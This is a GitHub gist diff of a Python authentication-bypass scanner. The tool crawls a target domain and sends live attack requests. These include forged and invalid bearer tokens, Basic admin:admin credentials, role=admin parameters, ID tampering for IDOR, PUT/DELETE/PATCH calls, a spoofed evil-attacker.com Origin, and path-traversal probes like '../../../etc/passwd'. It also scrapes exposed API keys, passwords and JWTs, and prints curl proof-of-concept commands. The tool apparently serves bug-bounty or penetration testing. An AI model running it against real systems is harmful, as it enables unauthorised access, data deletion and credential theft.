Skip to content

Instantly share code, notes, and snippets.

@nullenc0de
Last active May 23, 2025 16:06
Show Gist options
  • Select an option

  • Save nullenc0de/88e02e641ddd99bd1c49dcbd4f71c30a to your computer and use it in GitHub Desktop.

Select an option

Save nullenc0de/88e02e641ddd99bd1c49dcbd4f71c30a to your computer and use it in GitHub Desktop.

Revisions

  1. nullenc0de revised this gist May 23, 2025. 1 changed file with 286 additions and 212 deletions.
    498 changes: 286 additions & 212 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -1,11 +1,11 @@
    #!/usr/bin/env python3
    """
    Authentication Bypass Automation Tool v3
    Major false positive reduction update
    - Skips support/help center endpoints
    - Better OAuth/login page handling
    - Improved SQL/file path detection
    - Enhanced secret validation
    Authentication Bypass Automation Tool v4
    Further false positive reduction
    - Better HTML vs API response detection
    - Improved JavaScript code filtering
    - Skip logout endpoints
    - Enhanced credential pattern validation
    """

    import subprocess
    @@ -43,46 +43,46 @@ class AuthBypassTester:
    })
    # Disable SSL verification to avoid certificate warnings
    self.session.verify = False

    # Expanded response indicators for any API data that might control access
    self.bypass_indicators = [
    # Authentication status
    'authenticated', 'logged_in', 'isAuthenticated', 'user_authenticated',
    'authenticated', 'logged_in', 'isAuthenticated', 'user_authenticated',
    'auth_status', 'login_status', 'authorized', 'session_valid', 'loggedIn',

    # Access control
    'access_granted', 'has_access', 'allowed', 'permitted', 'can_access',
    'is_authorized', 'access_level', 'permission_granted',

    # User status
    'active', 'enabled', 'valid', 'verified', 'approved', 'confirmed',
    'is_active', 'is_enabled', 'is_valid', 'is_verified',

    # Subscription/License status
    'subscribed', 'premium', 'licensed', 'paid', 'trial_expired',
    'subscription_active', 'license_valid', 'account_active',

    # Feature flags
    'feature_enabled', 'beta_access', 'admin_access', 'demo_mode',
    'maintenance_mode', 'read_only', 'restricted'
    ]

    self.found_urls = set()
    self.vulnerable_endpoints = []

    def run_urlfinder(self) -> List[str]:
    """Run URLfinder to discover URLs for the target domain"""
    logger.info(f"Running URLfinder for domain: {self.domain}")

    try:
    # Run urlfinder with JSON output
    cmd = ['urlfinder', '-d', self.domain, '-j', '-silent']
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)

    if result.returncode != 0:
    logger.error(f"URLfinder failed: {result.stderr}")
    return []

    urls = []
    for line in result.stdout.strip().split('\n'):
    if line.strip():
    @@ -93,10 +93,10 @@ class AuthBypassTester:
    # Handle non-JSON lines (might be regular output)
    if line.startswith('http'):
    urls.append(line.strip())

    logger.info(f"Found {len(urls)} URLs from URLfinder")
    return urls

    except subprocess.TimeoutExpired:
    logger.error("URLfinder timed out after 10 minutes")
    return []
    @@ -107,7 +107,7 @@ class AuthBypassTester:
    def filter_api_endpoints(self, urls: List[str]) -> List[str]:
    """Filter URLs that are API endpoints (prioritized and filtered)"""
    api_urls = []

    # Skip common false positive patterns (ENHANCED)
    skip_patterns = [
    r'/wp-json/wp/v2/',
    @@ -152,8 +152,15 @@ class AuthBypassTester:
    r'/signin\?',
    r'/account/login',
    r'/user/login',
    # Skip logout endpoints
    r'/logout',
    r'/signout',
    r'/log-out',
    r'/sign-out',
    r'/account/logout',
    r'/user/logout',
    ]

    # High priority patterns (test these first)
    priority_patterns = [
    r'/api/v\d+/',
    @@ -171,7 +178,7 @@ class AuthBypassTester:
    r'/session/',
    r'/token/',
    ]

    # Regular API patterns
    regular_patterns = [
    r'/ajax/',
    @@ -182,37 +189,37 @@ class AuthBypassTester:
    r'/backend/',
    r'/secure/',
    ]

    # First, collect high priority endpoints
    priority_urls = []
    regular_urls = []

    for url in urls:
    # Skip known false positive patterns
    if any(re.search(pattern, url, re.IGNORECASE) for pattern in skip_patterns):
    continue

    # Additional filter: Skip if it looks like a static asset with parameters
    if re.search(r'\.(jpg|png|gif|svg|ttf|woff|css)\?sw=|sh=|v=', url, re.IGNORECASE):
    continue

    # Check for high priority patterns
    is_priority = any(re.search(pattern, url, re.IGNORECASE) for pattern in priority_patterns)
    is_regular = any(re.search(pattern, url, re.IGNORECASE) for pattern in regular_patterns)

    # Special handling for .well-known URLs
    if '.well-known/' in url:
    # Quick test to see if this returns HTML (indicating 404/error page)
    try:
    test_response = requests.get(url, timeout=5, verify=False)
    if (test_response.status_code == 200 and
    if (test_response.status_code == 200 and
    'application/json' in test_response.headers.get('content-type', '')):
    is_priority = True
    else:
    continue # Skip - not JSON content
    except:
    continue # Skip if we can't test it

    # Special handling for JSON files - only include if they're actually config files
    elif url.endswith('.json'):
    # Skip manifest.json files as they're meant to be public
    @@ -225,23 +232,23 @@ class AuthBypassTester:
    is_priority = True
    else:
    continue # Skip other JSON files

    if is_priority:
    priority_urls.append(url)
    elif is_regular:
    regular_urls.append(url)

    # Combine with priority first, test all relevant endpoints
    api_urls = priority_urls + regular_urls

    # Remove duplicates while preserving order
    seen = set()
    filtered_api_urls = []
    for url in api_urls:
    if url not in seen:
    seen.add(url)
    filtered_api_urls.append(url)

    logger.info(f"Found {len(filtered_api_urls)} potential API endpoints (Priority: {len(priority_urls)}, Regular: {len(regular_urls)})")
    logger.info(f"Filtered out static assets and non-API endpoints")
    return filtered_api_urls
    @@ -250,79 +257,79 @@ class AuthBypassTester:
    """Check if response contains meaningful content (not just empty or error pages)"""
    if not response or response.status_code >= 400:
    return False

    content = response.text.strip()
    content_length = len(content)

    # Empty or very short responses aren't meaningful
    if content_length < 10:
    return False

    # Check if it's just an HTML error page
    if content.lower().startswith('<!doctype html') or '<html' in content.lower()[:100]:
    # Check for common error page indicators
    error_indicators = ['404', 'not found', 'error', 'forbidden', 'unauthorized']
    if any(indicator in content.lower()[:500] for indicator in error_indicators):
    return False

    return True

    def test_endpoint_bypass(self, url: str) -> Dict:
    """Test a single endpoint for multiple authentication bypass techniques"""
    results = []

    try:
    # Test 1: Response Manipulation (original technique)
    response_manip = self.test_response_manipulation(url)
    if response_manip['vulnerable']:
    results.append(response_manip)

    # Test 2: Missing Authentication
    missing_auth = self.test_missing_authentication(url)
    if missing_auth['vulnerable']:
    results.append(missing_auth)

    # Test 3: IDOR (parameter manipulation)
    idor_test = self.test_idor_vulnerability(url)
    if idor_test['vulnerable']:
    results.append(idor_test)

    # Test 4: Weak Token Validation (skip for public files)
    if not any(public_file in url for public_file in ['manifest.json', '.well-known/', 'robots.txt']):
    weak_token = self.test_weak_token_validation(url)
    if weak_token['vulnerable']:
    results.append(weak_token)

    # Test 5: Privilege Escalation
    priv_esc = self.test_privilege_escalation(url)
    if priv_esc['vulnerable']:
    results.append(priv_esc)

    # Test 6: HTTP Method Access Control
    method_bypass = self.test_http_method_bypass(url)
    if method_bypass['vulnerable']:
    results.append(method_bypass)

    # Test 7: Information Disclosure
    info_disclosure = self.test_information_disclosure(url)
    if info_disclosure['vulnerable']:
    results.append(info_disclosure)

    # Test 8: CORS Misconfiguration
    cors_test = self.test_cors_misconfiguration(url)
    if cors_test['vulnerable']:
    results.append(cors_test)

    # Test 9: Error Message Analysis
    error_analysis = self.test_error_message_disclosure(url)
    if error_analysis['vulnerable']:
    results.append(error_analysis)

    if results:
    return {'vulnerable': True, 'url': url, 'vulnerabilities': results}
    else:
    return {'vulnerable': False, 'url': url}

    except Exception as e:
    logger.debug(f"Error testing {url}: {e}")
    return {'vulnerable': False, 'url': url, 'error': str(e)}
    @@ -333,13 +340,13 @@ class AuthBypassTester:
    # Skip OAuth endpoints - they're supposed to redirect
    if any(oauth_pattern in url.lower() for oauth_pattern in ['/oauth/authorize', '/auth/authorize']):
    return {'vulnerable': False}

    response = self.session.get(url, timeout=self.timeout, allow_redirects=False)

    # Check if it's a JSON API endpoint
    if 'application/json' in response.headers.get('content-type', ''):
    return self.test_json_manipulation(url, response)

    # Check for redirect to SSO/login
    if response.status_code in [301, 302, 303, 307, 308]:
    location = response.headers.get('location', '')
    @@ -352,9 +359,9 @@ class AuthBypassTester:
    'details': f'Protected endpoint redirects to authentication: {location}',
    'exploitation': 'Intercept response and remove Location header or change status code to 200'
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    @@ -366,48 +373,95 @@ class AuthBypassTester:
    'wp-json/wp/v2/', '/job/', '/events/', 'manifest.json',
    '/configuration/modals/', 'clientlibs', '/content/',
    '/login', '/signin', '/oauth/', '/auth/authorize',
    'support.', 'help.', '/help_center/', '/support/'
    'support.', 'help.', '/help_center/', '/support/',
    '/logout', '/signout', '/log-out', '/sign-out'
    ]):
    return {'vulnerable': False}

    # Test completely unauthenticated request
    clean_session = requests.Session()
    clean_session.verify = False
    response = clean_session.get(url, timeout=self.timeout)

    if response.status_code == 200 and self.is_meaningful_response(response):
    content = response.text.lower()

    # High-value sensitive patterns (ENHANCED)

    # Skip if this is an HTML page (not an API response)
    content_type = response.headers.get('content-type', '').lower()
    if 'text/html' in content_type:
    # For HTML pages, only check for very specific exposed secrets in script tags or meta tags
    # Skip generic JavaScript code patterns
    specific_html_patterns = [
    r'<meta[^>]+content=["\']([a-zA-Z0-9]{40,})["\']', # Meta tag with long token
    r'window\.API_KEY\s*=\s*["\']([a-zA-Z0-9]{20,})["\']', # Explicitly set API key
    r'data-api-key=["\']([a-zA-Z0-9]{20,})["\']', # Data attribute with API key
    ]

    for pattern in specific_html_patterns:
    match = re.search(pattern, response.text, re.IGNORECASE)
    if match:
    token = match.group(1)
    # Validate it's not a placeholder
    if not any(placeholder in token.lower() for placeholder in
    ['your-api-key', 'example', 'test', 'demo', 'xxx']):
    return {
    'vulnerable': True,
    'method': 'Missing Authentication - Exposed API Key in HTML',
    'details': f'Found exposed API key in HTML page',
    'exploitation': 'Extract API key from HTML source',
    'poc': f'curl -X GET "{url}" | grep -i "api[_-]key"',
    'severity': 'HIGH'
    }
    return {'vulnerable': False} # Skip other checks for HTML pages

    # For non-HTML responses (JSON, XML, etc.), use the original patterns
    critical_patterns = [
    r'api[_-]?key["\']?\s*[:=]\s*["\']?[a-zA-Z0-9]{20,}',
    r'secret[_-]?key["\']?\s*[:=]\s*["\']?[a-zA-Z0-9]{20,}',
    r'access[_-]?token["\']?\s*[:=]\s*["\']?[a-zA-Z0-9]{20,}',
    r'private[_-]?key["\']?\s*[:=]\s*["\']?[a-zA-Z0-9]{20,}',
    r'password["\']?\s*[:=]\s*["\']?[^"\']{8,}',
    r'connection[_-]?string["\']?\s*[:=]\s*["\']?[^"\']+',
    r'database[_-]?url["\']?\s*[:=]\s*["\']?[^"\']+',
    r'jwt["\']?\s*[:=]\s*["\']?eyJ[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]+',
    r'bearer["\']?\s*[:=]\s*["\']?[a-zA-Z0-9]{20,}',
    r'oauth[_-]?secret["\']?\s*[:=]\s*["\']?[a-zA-Z0-9]{20,}'
    r'["\']?api[_-]?key["\']?\s*[:=]\s*["\']?([a-zA-Z0-9\-_]{20,})["\']?',
    r'["\']?secret[_-]?key["\']?\s*[:=]\s*["\']?([a-zA-Z0-9\-_]{20,})["\']?',
    r'["\']?access[_-]?token["\']?\s*[:=]\s*["\']?([a-zA-Z0-9\-_]{20,})["\']?',
    r'["\']?private[_-]?key["\']?\s*[:=]\s*["\']?([a-zA-Z0-9\-_]{20,})["\']?',
    r'["\']?password["\']?\s*[:=]\s*["\']?([^"\']{8,})["\']?',
    r'["\']?jwt["\']?\s*[:=]\s*["\']?(eyJ[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]*)["\']?',
    r'["\']?bearer["\']?\s*[:=]\s*["\']?([a-zA-Z0-9\-_]{20,})["\']?'
    ]

    # Check for actual pattern matches (not just keywords)
    for pattern in critical_patterns:
    if re.search(pattern, response.text, re.IGNORECASE):
    # Extract the matched secret for validation
    match = re.search(pattern, response.text, re.IGNORECASE)
    if match:
    matches = re.findall(pattern, response.text, re.IGNORECASE)
    if matches:
    for match in matches:
    # Extract the actual secret value
    secret_value = match if isinstance(match, str) else match[-1]

    # Validate it's not a placeholder or JavaScript variable
    if any(placeholder in secret_value.lower() for placeholder in
    ['your-api-key', 'example', 'test', 'demo', 'xxx', '...',
    'placeholder', 'sample', 'dummy', 'fake', 'mock']):
    continue

    # Skip if it's too short or doesn't look like a real secret
    if len(secret_value) < 10 or secret_value.isdigit() or secret_value.isalpha():
    continue

    # Additional check: ensure we're not in a JavaScript function definition
    # Get context around the match
    match_pos = response.text.find(secret_value)
    if match_pos > 0:
    context_before = response.text[max(0, match_pos-50):match_pos]
    if any(js_pattern in context_before for js_pattern in
    ['function', 'const ', 'let ', 'var ', '${', 'querySelector']):
    continue

    return {
    'vulnerable': True,
    'method': 'Missing Authentication - Critical Secret Exposure',
    'details': f'Exposed secret matching pattern: {pattern}',
    'details': f'Exposed secret in API response',
    'exploitation': 'Direct access to sensitive credentials without authentication',
    'poc': f'curl -X GET "{url}"',
    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text,
    'severity': 'CRITICAL'
    }

    # Check for API documentation exposure
    if any(keyword in content for keyword in ['swagger', 'openapi', 'api-docs']) and len(content) > 1000:
    return {
    @@ -418,9 +472,9 @@ class AuthBypassTester:
    'poc': f'curl -X GET "{url}"',
    'severity': 'HIGH'
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    @@ -439,35 +493,35 @@ class AuthBypassTester:
    (r'[?&]user=(\d+)', 'user'),
    (r'[?&]uid=(\d+)', 'uid')
    ]

    for pattern, param_type in id_patterns:
    match = re.search(pattern, url)
    if match:
    original_id = match.group(1)
    # Try different IDs
    test_ids = [str(int(original_id) + 1), str(int(original_id) - 1), '1', '999']

    # Get baseline response
    baseline_response = self.session.get(url, timeout=self.timeout)
    if not self.is_meaningful_response(baseline_response):
    continue

    for test_id in test_ids:
    if '?' in pattern or '&' in pattern:
    test_url = re.sub(pattern, f'{pattern.split("=")[0]}={test_id}', url)
    else:
    test_url = url.replace(f'/{original_id}', f'/{test_id}')

    response = self.session.get(test_url, timeout=self.timeout)

    # Check if we got a different, meaningful response
    if (response.status_code == 200 and
    if (response.status_code == 200 and
    self.is_meaningful_response(response) and
    response.text != baseline_response.text and
    len(response.text) > 100):

    # Additional check: response should contain user/account data
    if any(indicator in response.text.lower() for indicator in
    if any(indicator in response.text.lower() for indicator in
    ['email', 'name', 'phone', 'address', 'account', 'profile']):
    return {
    'vulnerable': True,
    @@ -476,9 +530,9 @@ class AuthBypassTester:
    'exploitation': f'Change {param_type} ID to access other users\' data',
    'poc': f'curl -X GET "{test_url}"'
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    @@ -488,48 +542,54 @@ class AuthBypassTester:
    # Skip static assets and public files
    static_extensions = r'\.(jpg|jpeg|png|gif|svg|ico|webp|ttf|eot|woff|woff2|css|js)(\?.*)?$'
    public_files = ['manifest.json', 'robots.txt', '.well-known/', 'sitemap.xml']
    if (re.search(static_extensions, url, re.IGNORECASE) or

    if (re.search(static_extensions, url, re.IGNORECASE) or
    any(public_file in url for public_file in public_files)):
    return {'vulnerable': False}

    # Skip login/auth pages - they don't validate tokens
    if any(pattern in url.lower() for pattern in ['/login', '/signin', '/oauth/', '/auth/', '/account/login', '/user/login']):
    if any(pattern in url.lower() for pattern in ['/login', '/signin', '/oauth/', '/auth/', '/account/login', '/user/login',
    '/logout', '/signout', '/customer/account', '/account/orders']):
    return {'vulnerable': False}

    # First test normal request to establish baseline
    normal_response = self.session.get(url, timeout=self.timeout)
    # Skip if baseline response is not meaningful

    # Skip if baseline response is not meaningful or is HTML
    if not self.is_meaningful_response(normal_response):
    return {'vulnerable': False}


    # Skip HTML pages - they often return same content regardless of auth
    content_type = normal_response.headers.get('content-type', '').lower()
    if 'text/html' in content_type:
    return {'vulnerable': False}

    # Test with invalid/tampered tokens
    invalid_tokens = [
    'Bearer invalid_token_12345',
    'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.invalid_signature',
    'Bearer admin_bypass_token',
    'Basic YWRtaW46YWRtaW4=' # admin:admin in base64
    ]

    for token in invalid_tokens:
    headers = {'Authorization': token}
    response = self.session.get(url, headers=headers, timeout=self.timeout)

    # Only flag as vulnerable if:
    # 1. Returns 200 status
    # 2. Response is meaningful
    # 3. Response suggests successful authentication
    if (response.status_code == 200 and
    if (response.status_code == 200 and
    self.is_meaningful_response(response) and
    len(response.text) > 50):

    # Check if response indicates successful auth
    auth_success_indicators = [
    '"authenticated":true', '"status":"success"', '"loggedIn":true',
    '"user":{', '"profile":{', '"permissions":[', '"role":"'
    ]

    if any(indicator in response.text for indicator in auth_success_indicators):
    return {
    'vulnerable': True,
    @@ -540,27 +600,27 @@ class AuthBypassTester:
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text,
    'severity': 'CRITICAL'
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def test_privilege_escalation(self, url: str) -> Dict:
    """Test 5: Privilege Escalation via Parameter Tampering"""
    try:
    # Skip if URL doesn't look like it handles user data
    if not any(keyword in url.lower() for keyword in
    if not any(keyword in url.lower() for keyword in
    ['user', 'account', 'profile', 'admin', 'dashboard', 'panel', 'manage']):
    return {'vulnerable': False}

    # First get baseline response
    baseline_response = self.session.get(url, timeout=self.timeout)
    if not self.is_meaningful_response(baseline_response):
    return {'vulnerable': False}

    baseline_content = baseline_response.text.lower()

    # Test with privilege escalation parameters
    priv_params = [
    {'role': 'admin'},
    @@ -571,27 +631,27 @@ class AuthBypassTester:
    {'privilege': 'root'},
    {'access_level': '999'}
    ]

    for params in priv_params:
    response = self.session.get(url, params=params, timeout=self.timeout)

    if response.status_code == 200 and self.is_meaningful_response(response):
    content = response.text.lower()

    # Check if response suggests elevated privileges
    admin_gained_indicators = [
    'admin panel', 'administrator dashboard', 'system settings',
    'user management', 'delete user', 'modify permissions',
    'root access', 'superuser', '"role":"admin"', '"isAdmin":true'
    ]

    # Check if we gained admin content that wasn't in baseline
    admin_gained = any(indicator in content and indicator not in baseline_content
    admin_gained = any(indicator in content and indicator not in baseline_content
    for indicator in admin_gained_indicators)

    # Also check for significant content change
    content_significantly_different = abs(len(content) - len(baseline_content)) > 500

    if admin_gained or (content_significantly_different and 'admin' in content):
    return {
    'vulnerable': True,
    @@ -601,9 +661,9 @@ class AuthBypassTester:
    'poc': f'curl -X GET "{url}?" + "&".join([f"{k}={v}" for k,v in params.items()])',
    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    @@ -616,23 +676,23 @@ class AuthBypassTester:
    r'/images/', r'/fonts/', r'/css/', r'/static/', r'/assets/',
    r'/configuration/', r'/modals/', r'/content/'
    ]
    if any(re.search(pattern, url, re.IGNORECASE) if pattern.endswith('$') else pattern in url.lower()

    if any(re.search(pattern, url, re.IGNORECASE) if pattern.endswith('$') else pattern in url.lower()
    for pattern in static_patterns):
    return {'vulnerable': False}

    # Get baseline with GET request
    get_response = self.session.get(url, timeout=self.timeout)

    # Only test if GET returns meaningful content
    if not self.is_meaningful_response(get_response):
    return {'vulnerable': False}

    get_content_length = len(get_response.text)

    # Test dangerous methods
    dangerous_methods = ['PUT', 'DELETE', 'PATCH']

    for method in dangerous_methods:
    # Add test data for methods that accept body
    test_data = None
    @@ -641,35 +701,35 @@ class AuthBypassTester:
    headers = {'Content-Type': 'application/json'}
    else:
    headers = {}

    response = self.session.request(
    method, url,
    method, url,
    data=test_data,
    headers=headers,
    timeout=self.timeout
    )

    # Only flag as vulnerable if:
    # 1. Method returns success status
    # 2. Response indicates actual processing (not just error page)
    # 3. Response is different from GET (suggests method was processed)
    if response.status_code in [200, 201, 202, 204]:
    content = response.text.lower()

    # Check for indicators of successful operation
    success_indicators = [
    'success', 'updated', 'deleted', 'created', 'modified',
    'saved', 'removed', '"status":200', '"ok":true'
    ]

    error_indicators = [
    'error', 'forbidden', 'unauthorized', 'not allowed',
    'access denied', 'permission denied', 'rejected'
    ]

    has_success = any(indicator in content for indicator in success_indicators)
    has_errors = any(indicator in content for indicator in error_indicators)

    # For DELETE, 204 with no content is actually a success indicator
    if method == 'DELETE' and response.status_code == 204:
    return {
    @@ -680,7 +740,7 @@ class AuthBypassTester:
    'poc': f'curl -X {method} "{url}"',
    'severity': 'HIGH'
    }

    # For other methods, check for success without errors
    elif has_success and not has_errors:
    return {
    @@ -691,9 +751,9 @@ class AuthBypassTester:
    'poc': f'curl -X {method} "{url}"' + (f' -d \'{test_data}\' -H "Content-Type: application/json"' if test_data else ''),
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    @@ -703,12 +763,12 @@ class AuthBypassTester:
    # Skip login pages
    if any(pattern in url.lower() for pattern in ['/login', '/signin', '/oauth/', '/auth/']):
    return {'vulnerable': False}

    response = self.session.get(url, timeout=self.timeout)

    if not self.is_meaningful_response(response):
    return {'vulnerable': False}

    # Look for exposed secrets with better patterns
    secret_patterns = [
    (r'["\']?api[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9\-_]{20,})["\']', 'API Key'),
    @@ -723,7 +783,7 @@ class AuthBypassTester:
    (r'["\']?github[_-]?token["\']?\s*[:=]\s*["\']([a-zA-Z0-9]{40})["\']', 'GitHub Token'),
    (r'["\']?stripe[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9_]{24,})["\']', 'Stripe API Key')
    ]

    found_secrets = []
    for pattern, secret_type in secret_patterns:
    matches = re.findall(pattern, response.text, re.IGNORECASE)
    @@ -732,8 +792,8 @@ class AuthBypassTester:
    real_secrets = []
    for secret in matches:
    # Skip placeholders
    if any(placeholder in secret.lower() for placeholder in
    ['your-api-key', 'example', 'test', 'demo', 'xxx', '...',
    if any(placeholder in secret.lower() for placeholder in
    ['your-api-key', 'example', 'test', 'demo', 'xxx', '...',
    'placeholder', 'sample', 'dummy', 'fake', 'mock']):
    continue
    # Skip repeated characters
    @@ -743,10 +803,10 @@ class AuthBypassTester:
    if secret.isdigit() or secret.isalpha():
    continue
    real_secrets.append(secret)

    if real_secrets:
    found_secrets.extend([(secret_type, secret[:20] + '...') for secret in real_secrets])

    if found_secrets:
    return {
    'vulnerable': True,
    @@ -758,9 +818,9 @@ class AuthBypassTester:
    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text,
    'severity': 'CRITICAL'
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    @@ -770,29 +830,29 @@ class AuthBypassTester:
    # Skip non-API endpoints and support pages
    if not any(pattern in url.lower() for pattern in ['api', 'ajax', 'json', 'rest', 'graphql']):
    return {'vulnerable': False}

    # Skip support/help endpoints which are meant to be public
    if any(pattern in url.lower() for pattern in ['support.', 'help.', '/help_center/', '/support/']):
    return {'vulnerable': False}

    headers = {'Origin': 'https://evil-attacker.com'}
    response = self.session.get(url, headers=headers, timeout=self.timeout)

    # Only check successful responses with meaningful content
    if not (response.status_code == 200 and self.is_meaningful_response(response)):
    return {'vulnerable': False}

    cors_header = response.headers.get('Access-Control-Allow-Origin', '')
    cors_credentials = response.headers.get('Access-Control-Allow-Credentials', '')

    # Check for overly permissive CORS
    if cors_header == '*' or cors_header == 'https://evil-attacker.com':
    # Additional check: is this actually sensitive data?
    sensitive_content = any(indicator in response.text.lower() for indicator in [
    'password', 'token', 'secret', 'api_key', 'private', 'confidential',
    'credit', 'ssn', 'email', 'phone', 'address', 'user_id', 'session'
    ])

    # Also check if response contains user-specific data patterns
    user_data_patterns = [
    r'"user":\s*{',
    @@ -801,24 +861,24 @@ class AuthBypassTester:
    r'"account":\s*{',
    r'"session":\s*"[^"]+"'
    ]

    has_user_data = any(re.search(pattern, response.text) for pattern in user_data_patterns)

    if sensitive_content or has_user_data or ('true' in cors_credentials.lower() and cors_header != '*'):
    severity = 'CRITICAL' if cors_credentials.lower() == 'true' else 'HIGH'
    return {
    'vulnerable': True,
    'method': 'CORS Misconfiguration',
    'details': f'Allows unauthorized origin: {cors_header}' +
    'details': f'Allows unauthorized origin: {cors_header}' +
    (f' with credentials' if cors_credentials.lower() == 'true' else ''),
    'exploitation': 'Cross-origin data theft possible from malicious websites',
    'poc': f'curl -X GET "{url}" -H "Origin: https://evil-attacker.com"',
    'cors_header': cors_header,
    'severity': severity
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    @@ -828,11 +888,11 @@ class AuthBypassTester:
    # Skip if URL doesn't look like an API endpoint
    if not any(pattern in url.lower() for pattern in ['api', 'ajax', 'rest', 'service']):
    return {'vulnerable': False}

    # Skip support/help endpoints
    if any(pattern in url.lower() for pattern in ['support.', 'help.', '/help_center/', '/support/']):
    return {'vulnerable': False}

    # Trigger errors with malformed requests
    error_triggers = [
    {'method': 'POST', 'data': 'invalid json', 'headers': {'Content-Type': 'application/json'}},
    @@ -841,15 +901,15 @@ class AuthBypassTester:
    {'method': 'GET', 'params': {'debug': 'true', 'test': '../../../etc/passwd'}},
    {'method': 'POST', 'data': '<invalid>xml</xml>', 'headers': {'Content-Type': 'application/xml'}}
    ]

    for trigger in error_triggers:
    method = trigger.pop('method', 'GET')
    response = self.session.request(method, url, timeout=self.timeout, **trigger)

    # Look for real error disclosures (not just HTML pages)
    if self.is_meaningful_response(response) or response.status_code >= 400:
    content = response.text

    # Enhanced patterns for real security issues
    critical_patterns = [
    (r'(com\.[\w\.]+Exception)', 'Java Exception'),
    @@ -861,14 +921,14 @@ class AuthBypassTester:
    (r'(\/home\/[\w\/]+\.[\w]+|\/var\/www\/[\w\/]+\.[\w]+|C:\\[\w\\]+\.[\w]+)', 'File Path Disclosure'),
    (r'(SELECT\s+\*?\s*FROM\s+[\w\.]+|INSERT\s+INTO\s+[\w\.]+|UPDATE\s+[\w\.]+\s+SET|DELETE\s+FROM\s+[\w\.]+)', 'SQL Query Disclosure'),
    (r'(mysql_fetch_|mysqli_|pg_query|oci_parse)\s*\(', 'Database Function'),
    (r'(root|admin|password|pwd)\s*[:=]\s*["\']?([a-zA-Z0-9!@#$%^&*()_+\-=\[\]{};:,.<>?]+)["\']?', 'Credential Disclosure'),
    (r'(root|admin|password|pwd)\s*[:=]\s*["\']?([a-zA-Z0-9!@#$%^&*()_+\-=\[\]{};:,.<>?]{8,})["\']?(?!\w)', 'Credential Disclosure'),
    (r'(MongoDB|Redis|PostgreSQL|MySQL|Oracle|MSSQL)\s+(error|Error|ERROR)', 'Database Error'),
    (r'"stack":\s*"[^"]+Error[^"]+"', 'JSON Stack Trace'),
    (r'Traceback\s+\(most\s+recent\s+call\s+last\)', 'Python Traceback'),
    (r'Warning:\s+[\w_]+\(\)\s+\[[\w\.]+\]:', 'PHP Warning'),
    (r'Fatal error:\s+[\w\s]+in\s+[\w\/\.]+\s+on\s+line\s+\d+', 'PHP Fatal Error')
    ]

    for pattern, disclosure_type in critical_patterns:
    match = re.search(pattern, content, re.IGNORECASE | re.MULTILINE)
    if match:
    @@ -878,17 +938,30 @@ class AuthBypassTester:
    # Must have actual SQL structure, not just keywords
    if not any(sql_struct in query_text.upper() for sql_struct in ['SELECT', 'FROM', 'INSERT INTO', 'UPDATE', 'DELETE FROM']):
    continue

    # For file paths, ensure it's an actual file path
    if disclosure_type == 'File Path Disclosure':
    path_text = match.group(1)
    # Must have file extension or be clearly a path
    if not (re.search(r'\.(php|py|java|cs|rb|js)$', path_text) or '/' in path_text or '\\' in path_text):
    file_extensions = r'\.(php|py|java|cs|rb|js)$'
    if not (re.search(file_extensions, path_text) or '/' in path_text or '\\' in path_text):
    continue


    # For credential disclosure, do extra validation
    if disclosure_type == 'Credential Disclosure':
    # Skip if it's part of JavaScript code
    match_text = match.group(0)
    if any(js_term in match_text for js_term in ['shadowRoot', 'formToroRoot', 'documentRoot', 'querySelector']):
    continue
    # Check if there's an actual value after the =
    if match.lastindex >= 2:
    cred_value = match.group(2)
    if len(cred_value) < 6 or cred_value in ['true', 'false', 'null', 'undefined', 'this', 'self']:
    continue

    # Extract relevant error context
    error_context = content[max(0, match.start()-100):min(len(content), match.end()+100)]

    return {
    'vulnerable': True,
    'method': f'Information Disclosure - {disclosure_type}',
    @@ -898,9 +971,9 @@ class AuthBypassTester:
    'error_sample': error_context,
    'severity': 'HIGH' if 'Stack Trace' in disclosure_type or 'SQL' in disclosure_type else 'MEDIUM'
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    @@ -921,16 +994,16 @@ class AuthBypassTester:
    try:
    if original_response.status_code != 200:
    return {'vulnerable': False}

    try:
    data = original_response.json()
    except:
    return {'vulnerable': False}

    # Look for authentication/authorization fields
    bypass_found = False
    potential_bypasses = []

    for key, value in self.flatten_dict(data).items():
    # Check for auth-related fields with negative values
    if any(indicator in key.lower() for indicator in self.bypass_indicators):
    @@ -942,10 +1015,10 @@ class AuthBypassTester:
    'suggested_value': self.get_bypass_value(key, value),
    'impact': self.assess_bypass_impact(key)
    })

    # Only report if we found high-impact bypasses
    high_impact_bypasses = [b for b in potential_bypasses if b['impact'] == 'HIGH']

    if high_impact_bypasses:
    return {
    'vulnerable': True,
    @@ -956,25 +1029,25 @@ class AuthBypassTester:
    'poc': f'curl -X GET "{url}" # Intercept with Burp Suite and modify response',
    'response_sample': json.dumps(data, indent=2)[:300] + '...' if len(json.dumps(data)) > 300 else json.dumps(data, indent=2)
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

